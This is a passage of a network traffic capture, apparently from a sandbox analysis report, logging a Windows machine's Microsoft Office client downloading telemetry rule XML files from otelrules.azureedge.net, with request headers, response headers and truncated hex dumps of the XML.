2024-11-28 12:10:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:37 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121037Z-174f7845968vqt9xhC1EWRgten0000000yf000000000566n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:37 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:37 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:37 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 7e2a4532-c01e-0049-6b07-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121037Z-174f7845968pght8hC1EWRyvxg00000001dg00000000bnya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:37 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:37 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:37 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: fe0e881e-601e-0050-1a3a-402c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121037Z-174f7845968qj8jrhC1EWRh41s0000000y9g0000000083g8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:37 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:37 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:37 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:37 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 13d8e9aa-301e-0020-7d2e-416299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121037Z-174f7845968n2hr8hC1EWR9cag0000000y1g000000005t4s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:37 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:38 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:38 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 23665d8e-b01e-0098-3e05-41cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121038Z-174f7845968j6t2phC1EWRcfe80000000yk0000000005fb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:39 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:39 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121039Z-174f7845968xlwnmhC1EWR0sv80000000y60000000007rzg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:39 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:39 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:39 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 304903e8-201e-003f-5e29-416d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121039Z-174f7845968cpnpfhC1EWR3afc0000000y10000000005e8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:39 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:39 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:39 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:39 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121039Z-174f784596886s2bhC1EWR743w0000000yb000000000a38x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:39 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:39 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:40 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:39 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121039Z-174f7845968n2hr8hC1EWR9cag0000000y2g000000004q09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:40 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:41 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:42 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 28a36876-101e-0034-3966-4096ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121042Z-174f7845968cdxdrhC1EWRg0en0000000y7g00000000b727 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:42 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:41 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:41 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 8564bbda-801e-008c-051b-417130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121041Z-174f7845968vqt9xhC1EWRgten0000000yg0000000003vcb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:42 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:41 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:42 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:42 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121042Z-174f7845968frfdmhC1EWRxxbw0000000ykg0000000000c2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:42 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI 